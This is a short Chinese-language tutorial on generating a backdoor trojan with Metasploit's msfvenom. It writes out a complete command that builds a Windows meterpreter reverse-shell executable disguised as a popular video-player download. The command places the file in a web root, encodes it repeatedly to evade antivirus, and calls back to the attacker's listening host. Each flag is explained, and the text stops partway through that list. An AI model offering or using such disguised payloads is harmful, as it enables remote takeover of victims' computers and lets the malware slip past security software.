使用metasploit的msfvenom模块生成恶意软件获取后门

一、背景

msfvenom是msfpayload、msfcencode的结合体，可利用msfvenom生成木马程序，并在目标机上执行，在本地监听上线。

二、各类实战

1.生成西瓜影音、看片神器后门木马

打开kali终端，msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.47.165 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/xigua1.exe

-a x86        架构为32位，兼容64位       

--platform        指定平台windows       

-p指定payload        指定LHOST，LPORT为本机IP、端口       

-b设定规避字符集（会影响payload质量）        "\x00"16进制的空字符       

-e指定需要使用的encoder（编码器）编码免杀       

 -i指定payload的编码次数,编码次数越多，免杀能力越强       

-f指定输出格式生成exe文件    &